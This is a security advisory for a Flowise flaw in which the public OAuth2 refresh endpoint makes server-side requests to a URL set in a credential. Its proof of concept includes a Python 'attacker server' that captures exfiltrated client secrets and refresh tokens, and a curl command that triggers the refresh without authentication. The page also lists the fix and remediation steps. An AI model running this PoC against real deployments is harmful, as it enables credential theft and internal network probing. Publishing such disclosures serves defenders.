CVE-2026-69250: Flowise: Unauthenticated OAuth2 Refresh Enables Non-Blind SSRF and Secret Exfiltration

Published Aug 4, 2026
·
Updated

Summary

The OAuth2 token refresh endpoint (POST /api/v1/oauth2-credential/refresh/:credentialId) is unauthenticated by design (it is in the public whitelist) and performs a server-side HTTP request to a credential-controlled URL (accessTokenUrl) without SSRF protections. In runtime validation, this endpoint was reachable without auth, triggered outbound POST requests to an attacker-controlled server, and reflected the full remote response body to the caller (tokenInfo), confirming non-blind SSRF and credential secret exfiltration.

Details

The vulnerability is in dist/routes/oauth2/index.js (container runtime build), under path prefix /api/v1/oauth2-credential.

Confirmed in runtime code:

1. Unauthenticated route via whitelist - dist/utils/constants.js includes: - /api/v1/oauth2-credential/callback - /api/v1/oauth2-credential/refresh - dist/index.js auth middleware uses: - const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url)) - Therefore /api/v1/oauth2-credential/refresh/:credentialId is treated as whitelisted.

2. User-controlled SSRF target - In refresh handler (dist/routes/oauth2/index.js): - loads credential by credentialId - decrypts credential data - reads accessTokenUrl - executes: - axios.post(tokenUrl, new URLSearchParams(refreshRequestData).toString(), ...) - No secureAxiosRequest() / denylist wrapper is used in this path.

3. Non-blind response reflection - Response returns: - tokenInfo: { ...tokenData, ... } - tokenData is the attacker/internal server response body.

4. Secrets sent to SSRF target - Request body includes: - clientid - clientsecret - granttype=refreshtoken - refreshtoken

PoC

Environment used

- flowiseai/flowise:latest container (localhost:3000) - Attacker server (localhost:18081) returning JSON

Step 1: Start attacker server

bash python3 -u - <<'PY' from http.server import BaseHTTPRequestHandler, HTTPServer import json

class H(BaseHTTPRequestHandler): def doPOST(self): l = int(self.headers.get('Content-Length','0')) b = self.rfile.read(l).decode('utf-8', errors='replace') print('REQUESTPATH', self.path, flush=True) print('REQUESTBODY', b, flush=True) self.sendresponse(200) self.sendheader('Content-Type','application/json') self.endheaders() self.wfile.write(json.dumps({'ok': True, 'source': 'attacker-server', 'echolen': len(b)}).encode()) def logmessage(self, fmt, args): pass

HTTPServer(('0.0.0.0', 18081), H).serveforever() PY

Step 2: Create OAuth2 credential with attacker accessTokenUrl (authenticated action)

In validation, this was done via authenticated API path (credential creation requires auth/permissions), then refresh was tested publicly.

Resulting credential ID used in runtime validation:

- 24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef

Step 3: Trigger refresh without auth

bash curl -i -X POST \ http://127.0.0.1:3000/api/v1/oauth2-credential/refresh/24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef \ -H 'Content-Type: application/json' \ -d '{}'

Observed response:

json { "success": true, "message": "OAuth2 token refreshed successfully", "credentialId": "24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef", "tokenInfo": { "ok": true, "source": "attacker-server", "echolen": 76, "hasnewrefreshtoken": false } }

Attacker server logs captured:

text REQUESTPATH /token REQUESTBODY clientid=cid2&clientsecret=csec2&granttype=refreshtoken&refreshtoken=r2

This confirms: - unauthenticated trigger, - server-side POST to attacker-controlled URL, - exfiltration of OAuth2 secrets in POST body, - full response reflection to client (tokenInfo).

Impact

- Vulnerability class: Non-blind SSRF + sensitive secret exfiltration. - Who can set up attack: Any authenticated user who can create/update OAuth2 credentials. - Who can trigger attack: Anyone who knows a valid OAuth2 credential UUID (refresh endpoint is public/whitelisted). - Technical impact: - outbound SSRF to attacker/internal targets, - direct leak of clientsecret and refreshtoken to SSRF target, - direct response read from target via API response (tokenInfo). - Deployment impact: - cloud/internal network reachability can expose metadata/internal services depending on egress controls.

Other sources

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, the OAuth2 token refresh endpoint POST /api/v1/oauth2-credential/refresh/:credentialId is unauthenticated by design and performs a server-side HTTP request to the credential-controlled accessTokenUrl without SSRF protections. Runtime validation confirmed that the endpoint was reachable without authentication, triggered outbound POST requests to an attacker-controlled server, reflected the full remote response body to the caller through tokenInfo, and sent clientid, clientsecret, granttype=refreshtoken, and refreshtoken in the request body. This issue is fixed in version 3.1.3.

MITRE

Affected Software

1 affected componentFixes available
npm/flowise<=3.1.2
3.1.3

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/flowise to a version that resolves this vulnerability.

    Fixed in 3.1.3
  2. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 3.1.3
  3. Configuration

    In the refresh path for /api/v1/oauth2-credential/refresh (implemented in dist/routes/oauth2/index.js), ensure outgoing requests to the credential-controlled accessTokenUrl are not made without SSRF protections; the report states this path lacks secureAxiosRequest()/denylist wrapper and directly posts via axios.post(tokenUrl,...).

    Flowise OAuth2 refresh handler (dist/routes/oauth2/index.js) SSRF protections/denylist wrapper (secureAxiosRequest() usage) = use denylisted/secure request wrapper instead of direct axios.post to tokenUrl
  4. Compensating control

    Ensure the OAuth2 token refresh endpoint (POST /api/v1/oauth2-credential/refresh/:credentialId) is not reachable publicly/without authentication; remove it from any public whitelist used for request-path whitelisting (the refresh route is described as being in a public whitelist).

Event History

Aug 4, 2026
CVE Published
via MITRE·02:20 PM
Data Sourced
via MITRE·02:20 PM
DescriptionWeakness
Advisory Published
via GitHub·02:20 PM
Data Sourced
via GitHub·02:20 PM
DescriptionWeaknessAffected Software
Data Sourced
via NVD·03:16 PM
DescriptionSeverityWeakness
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203